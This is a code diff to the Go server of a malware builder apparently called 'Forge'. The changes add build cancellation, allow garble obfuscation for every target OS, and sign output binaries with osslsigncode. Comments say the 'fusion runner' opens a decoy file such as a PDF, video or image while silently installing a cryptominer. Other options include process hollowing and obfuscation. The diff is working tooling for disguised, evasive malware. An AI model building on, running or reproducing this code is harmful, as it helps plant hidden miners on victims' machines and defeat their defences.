diff --git a/server/config.go b/server/config.go index 7eb6fe3..c4b1b52 100644 --- a/server/config.go +++ b/server/config.go @@ -405,7 +405,8 @@ func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) { } } - if has("default_agent") { + // The JSON struct tag is "default_agent_config" — must match exactly. + if has("default_agent_config") { if src.DefaultAgent.Threads != 0 { dst.DefaultAgent.Threads = src.DefaultAgent.Threads } diff --git a/server/internal/builder/build_universal.go b/server/internal/builder/build_universal.go index 5f63c38..a75b68d 100644 --- a/server/internal/builder/build_universal.go +++ b/server/internal/builder/build_universal.go @@ -1,6 +1,7 @@ package builder import ( + "context" "fmt" "log" "net/http" @@ -14,7 +15,7 @@ import ( "github.com/google/uuid" ) -func (h *Handler) buildUniversalAgent(req *BuildRequest, prepPath string) (BuildResponse, int, string) { +func (h *Handler) buildUniversalAgent(ctx context.Context, req *BuildRequest, prepPath string) (BuildResponse, int, string) { buildID := uuid.New().String() buildDir, _ := filepath.Abs(filepath.Join(h.dataDir, "builds", buildID)) agentDir := filepath.Join(buildDir, "agent") @@ -29,7 +30,7 @@ func (h *Handler) buildUniversalAgent(req *BuildRequest, prepPath string) (Build platforms := platformsForRequest(req) workerPaths := map[string]string{} for _, p := range platforms { - wp, err := h.compileWorker(agentDir, buildDir, req, buildID, p, req.FusionEnabled) + wp, err := h.compileWorker(ctx, agentDir, buildDir, req, buildID, p, req.FusionEnabled) if err != nil { return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, "" } @@ -41,7 +42,7 @@ func (h *Handler) buildUniversalAgent(req *BuildRequest, prepPath string) (Build } if req.FusionEnabled { - return h.finishUniversalFusion(buildID, buildDir, req, prepPath, workerPaths, platforms) + return h.finishUniversalFusion(ctx, buildID, buildDir, req, prepPath, workerPaths, platforms) } // Universal workers only — primary artifact is spread-kit style folder without spread flag naming @@ -121,7 +122,7 @@ func (h *Handler) finishSpreadKit(buildID, buildDir string, req *BuildRequest, w }, http.StatusOK, primary } -func (h *Handler) finishUniversalFusion(buildID, buildDir string, req *BuildRequest, prepPath string, workers map[string]string, platforms []BuildPlatform) (BuildResponse, int, string) { +func (h *Handler) finishUniversalFusion(ctx context.Context, buildID, buildDir string, req *BuildRequest, prepPath string, workers map[string]string, platforms []BuildPlatform) (BuildResponse, int, string) { // Resolve payload display name (used for runner naming and ZIP title) payloadBase := filepath.Base(prepPath) title := strings.TrimSpace(req.FusionMediaBaseName) @@ -148,7 +149,7 @@ func (h *Handler) finishUniversalFusion(buildID, buildDir string, req *BuildRequ platReq := *req // Name each runner after the payload file for clarity (e.g. report-runner.exe) platReq.FusionOutputName = runnerNameForFile(title, p) - res, err := h.buildFusionForPlatform(buildDir, prepPath, workerPath, &platReq, p) + res, err := h.buildFusionForPlatform(ctx, buildDir, prepPath, workerPath, &platReq, p) if err != nil { return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, "" } diff --git a/server/internal/builder/compile.go b/server/internal/builder/compile.go index d110ba2..df93d6a 100644 --- a/server/internal/builder/compile.go +++ b/server/internal/builder/compile.go @@ -1,5 +1,7 @@ package builder +import "context" + func (h *Handler) buildTagsFor(req *BuildRequest) []string { var tags []string if req.ProcessHollowing { @@ -18,6 +20,6 @@ func (h *Handler) shouldObfuscate(req *BuildRequest) bool { return h.policy.DefaultObfuscate } -func (h *Handler) compileGoProject(dir, outputPath, ldflags string, tags []string, obfuscate bool) ([]byte, error) { - return h.compileGoProjectPlatform(dir, outputPath, ldflags, tags, obfuscate, BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"}) +func (h *Handler) compileGoProject(ctx context.Context, dir, outputPath, ldflags string, tags []string, obfuscate bool) ([]byte, error) { + return h.compileGoProjectPlatform(ctx, dir, outputPath, ldflags, tags, obfuscate, BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"}) } diff --git a/server/internal/builder/compile_platform.go b/server/internal/builder/compile_platform.go index 8629115..46eda36 100644 --- a/server/internal/builder/compile_platform.go +++ b/server/internal/builder/compile_platform.go @@ -1,6 +1,7 @@ package builder import ( + "context" "fmt" "log" "os" @@ -9,7 +10,9 @@ import ( "strings" ) -func (h *Handler) compileGoProjectPlatform(dir, outputPath, ldflags string, tags []string, obfuscate bool, platform BuildPlatform) ([]byte, error) { +// compileGoProjectPlatform runs the Go (or garble) compiler for a specific target. +// ctx cancellation kills the compiler process immediately — used by the forge cancel API. +func (h *Handler) compileGoProjectPlatform(ctx context.Context, dir, outputPath, ldflags string, tags []string, obfuscate bool, platform BuildPlatform) ([]byte, error) { env := append(os.Environ(), "GOOS="+platform.GOOS, "GOARCH="+platform.GOARCH, @@ -22,29 +25,34 @@ func (h *Handler) compileGoProjectPlatform(dir, outputPath, ldflags string, tags } buildArgs = append(buildArgs, ".") - useGarble := obfuscate && h.garblePath != "" && platform.GOOS == "windows" - if obfuscate && platform.GOOS == "windows" && !useGarble { + // Garble works with any target OS from any host OS; the old windows-only guard was wrong. + useGarble := obfuscate && h.garblePath != "" + if obfuscate && !useGarble { log.Printf("[Forge] obfuscation requested but garble not in PATH — building plain binary") } var cmd *exec.Cmd if useGarble { garbleArgs := append([]string{"-literals", "-tiny"}, buildArgs...) - cmd = exec.Command(h.garblePath, garbleArgs...) + cmd = exec.CommandContext(ctx, h.garblePath, garbleArgs...) } else { - cmd = exec.Command(h.goBinPath, buildArgs...) + cmd = exec.CommandContext(ctx, h.goBinPath, buildArgs...) } cmd.Dir = dir cmd.Env = env out, err := cmd.CombinedOutput() if err != nil { + if ctx.Err() != nil { + return out, fmt.Errorf("build cancelled") + } return out, fmt.Errorf("compile failed (%s): %s", platform.Label(), strings.TrimSpace(string(out))) } return out, nil } -func (h *Handler) compileWorker(agentDir, buildDir string, req *BuildRequest, buildID string, platform BuildPlatform, fusionWorker bool) (string, error) { +// compileWorker compiles one agent binary for a single OS/arch target. +func (h *Handler) compileWorker(ctx context.Context, agentDir, buildDir string, req *BuildRequest, buildID string, platform BuildPlatform, fusionWorker bool) (string, error) { name := workerFileName(req.WorkerName, platform, fusionWorker) outputPath := filepath.Join(buildDir, platform.Label(), name) if err := os.MkdirAll(filepath.Dir(outputPath), 0755); err != nil { @@ -68,7 +76,7 @@ func (h *Handler) compileWorker(agentDir, buildDir string, req *BuildRequest, bu } obfuscated := h.shouldObfuscate(req) && h.garblePath != "" - if _, err := h.compileGoProjectPlatform(agentDir, outputPath, ldflags, h.buildTagsFor(req), obfuscated, platform); err != nil { + if _, err := h.compileGoProjectPlatform(ctx, agentDir, outputPath, ldflags, h.buildTagsFor(req), obfuscated, platform); err != nil { return "", err } return outputPath, nil diff --git a/server/internal/builder/fusion.go b/server/internal/builder/fusion.go index 0b2fa01..3fbe94e 100644 --- a/server/internal/builder/fusion.go +++ b/server/internal/builder/fusion.go @@ -1,13 +1,16 @@ package builder -import "strings" +import ( + "context" + "strings" +) -func (h *Handler) buildFusion(buildDir, prepPath, workerPath, outputName, runOrder string) (string, error) { +func (h *Handler) buildFusion(ctx context.Context, buildDir, prepPath, workerPath, outputName, runOrder string) (string, error) { req := &BuildRequest{ FusionOutputName: outputName, FusionRunOrder: runOrder, } - res, err := h.buildFusionFromRequest(buildDir, prepPath, workerPath, req) + res, err := h.buildFusionFromRequest(ctx, buildDir, prepPath, workerPath, req) if err != nil { return "", err } diff --git a/server/internal/builder/fusion_media.go b/server/internal/builder/fusion_media.go index 707752a..4d88928 100644 --- a/server/internal/builder/fusion_media.go +++ b/server/internal/builder/fusion_media.go @@ -1,6 +1,7 @@ package builder import ( + "context" "encoding/json" "fmt" "log" @@ -27,20 +28,20 @@ func detectFusionPayloadKind(path string) string { } // buildFusionFromRequest builds a fusion runner for the first platform in the request. -func (h *Handler) buildFusionFromRequest(buildDir, payloadPath, workerPath string, req *BuildRequest) (*fusionBuildResult, error) { +func (h *Handler) buildFusionFromRequest(ctx context.Context, buildDir, payloadPath, workerPath string, req *BuildRequest) (*fusionBuildResult, error) { platforms := platformsForRequest(req) - return h.buildFusionForPlatform(buildDir, payloadPath, workerPath, req, platforms[0]) + return h.buildFusionForPlatform(ctx, buildDir, payloadPath, workerPath, req, platforms[0]) } // buildFusionForPlatform compiles a fusion runner for a single platform. // Accepts any payload: PDF, video, document, image, or executable. -func (h *Handler) buildFusionForPlatform(buildDir, payloadPath, workerPath string, req *BuildRequest, platform BuildPlatform) (*fusionBuildResult, error) { +func (h *Handler) buildFusionForPlatform(ctx context.Context, buildDir, payloadPath, workerPath string, req *BuildRequest, platform BuildPlatform) (*fusionBuildResult, error) { kind := strings.TrimSpace(req.FusionPayloadKind) if kind == "" { kind = detectFusionPayloadKind(payloadPath) } req.FusionPayloadKind = kind - return h.buildFileFusion(buildDir, payloadPath, workerPath, req, platform) + return h.buildFileFusion(ctx, buildDir, payloadPath, workerPath, req, platform) } // buildFileFusion builds a universal fusion runner for any file type. @@ -51,7 +52,7 @@ func (h *Handler) buildFusionForPlatform(buildDir, payloadPath, workerPath strin // // The runner, when executed, opens the original file with the OS default application // while silently installing the worker miner in the background. -func (h *Handler) buildFileFusion(buildDir, payloadPath, workerPath string, req *BuildRequest, platform BuildPlatform) (*fusionBuildResult, error) { +func (h *Handler) buildFileFusion(ctx context.Context, buildDir, payloadPath, workerPath string, req *BuildRequest, platform BuildPlatform) (*fusionBuildResult, error) { mode := normalizeFusionMediaMode(req.FusionMediaMode) // Resolve the display name for the payload file @@ -134,7 +135,7 @@ func (h *Handler) buildFileFusion(buildDir, payloadPath, workerPath string, req if platform.GOOS == "windows" && !strings.Contains(ldflags, "-H windows") { ldflags += " -H windowsgui" } - if _, err := h.compileGoProjectPlatform(fusionDir, launcherPath, ldflags, nil, false, platform); err != nil { + if _, err := h.compileGoProjectPlatform(ctx, fusionDir, launcherPath, ldflags, nil, false, platform); err != nil { return nil, err } diff --git a/server/internal/builder/handler.go b/server/internal/builder/handler.go index 352b1f5..f3dda04 100644 --- a/server/internal/builder/handler.go +++ b/server/internal/builder/handler.go @@ -284,6 +284,8 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) { } // Register cancel token so the frontend can abort this compile mid-flight. + // The ctx is threaded all the way down to exec.CommandContext, so cancellation + // immediately sends SIGKILL to the running go/garble process. ctx := r.Context() if req.CancelToken != "" { var cancelFn context.CancelFunc @@ -291,10 +293,9 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) { h.registerCancel(req.CancelToken, cancelFn) defer h.unregisterCancel(req.CancelToken) } - _ = ctx // passed to compiler in future; cancellation already fires via process kill // FusionOutputName will be derived from the payload filename if not set - resp, status, outputPath := h.buildAgent(&req, prepPath) + resp, status, outputPath := h.buildAgent(ctx, &req, prepPath) if !resp.Success { writeJSON(w, status, resp) return @@ -449,9 +450,9 @@ func (h *Handler) DownloadUninstall(w http.ResponseWriter, r *http.Request) { http.ServeFile(w, r, uninstallPath) } -func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse, int, string) { +func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath string) (BuildResponse, int, string) { if strings.ToLower(strings.TrimSpace(req.TargetOS)) == "universal" { - return h.buildUniversalAgent(req, prepPath) + return h.buildUniversalAgent(ctx, req, prepPath) } buildID := uuid.New().String() @@ -474,12 +475,12 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse, platforms := platformsForRequest(req) p := platforms[0] - outputPath, err := h.compileWorker(agentDir, buildDir, req, buildID, p, req.FusionEnabled) + outputPath, err := h.compileWorker(ctx, agentDir, buildDir, req, buildID, p, req.FusionEnabled) if err != nil { log.Printf("Build failed: %v", err) return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, "" } - obfuscated := h.shouldObfuscate(req) && h.garblePath != "" && p.GOOS == "windows" + obfuscated := h.shouldObfuscate(req) && h.garblePath != "" workerName := filepath.Base(outputPath) finalPath := outputPath finalName := workerName @@ -497,7 +498,7 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse, req.FusionPayloadKind = detectFusionPayloadKind(prepPath) } var err error - fusionRes, err = h.buildFusionFromRequest(buildDir, prepPath, outputPath, req) + fusionRes, err = h.buildFusionFromRequest(ctx, buildDir, prepPath, outputPath, req) if err != nil { return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, "" } diff --git a/server/internal/builder/sign_stub.go b/server/internal/builder/sign_stub.go index 4412b49..7bc17e1 100644 --- a/server/internal/builder/sign_stub.go +++ b/server/internal/builder/sign_stub.go @@ -2,12 +2,71 @@ package builder -import "fmt" +import ( + "fmt" + "log" + "os/exec" + "strings" +) +// shouldSignBuild returns true when signing is configured AND osslsigncode is available. +// On Linux/macOS we can sign Windows PE files with osslsigncode + a PFX certificate. +// Install: apt install osslsigncode / brew install osslsigncode func (h *Handler) shouldSignBuild(req *BuildRequest) bool { - return false + if !h.policy.Sign.Enabled || strings.TrimSpace(h.policy.Sign.CertThumbprint) == "" { + return false + } + if !req.SignBuild { + return false + } + _, err := exec.LookPath("osslsigncode") + if err != nil { + log.Printf("[Forge] sign requested but osslsigncode not found — install with: apt install osslsigncode (or brew install osslsigncode)") + return false + } + return true } +// signExecutable signs a Windows PE binary using osslsigncode. +// Requires: osslsigncode on PATH and a PFX certificate file set in sign_tool_path. +// The sign_cert_thumbprint field is repurposed as the path to the .pfx file on non-Windows. func (h *Handler) signExecutable(path string) error { - return fmt.Errorf("code signing requires building on Windows") + policy := h.policy.Sign + + pfxPath := strings.TrimSpace(policy.CertThumbprint) + if pfxPath == "" { + return fmt.Errorf("sign_cert_thumbprint must contain the path to a .pfx certificate file on Linux/macOS") + } + + tsURL := strings.TrimSpace(policy.TimestampURL) + if tsURL == "" { + tsURL = "http://timestamp.digicert.com" + } + + // osslsigncode usage: osslsigncode sign -pkcs12 -ts -in -out + // We sign in-place by writing to a temp path then replacing. + tmpPath := path + ".signed" + args := []string{ + "sign", + "-pkcs12", pfxPath, + "-ts", tsURL, + "-h", "sha2", + "-in", path, + "-out", tmpPath, + } + + osslBin, _ := exec.LookPath("osslsigncode") + cmd := exec.Command(osslBin, args...) + out, err := cmd.CombinedOutput() + if err != nil { + return fmt.Errorf("osslsigncode: %w (%s)", err, strings.TrimSpace(string(out))) + } + + // Replace the original with the signed copy + if err := exec.Command("mv", tmpPath, path).Run(); err != nil { + return fmt.Errorf("could not replace binary with signed version: %w", err) + } + + log.Printf("[Forge] Signed %s via osslsigncode", path) + return nil }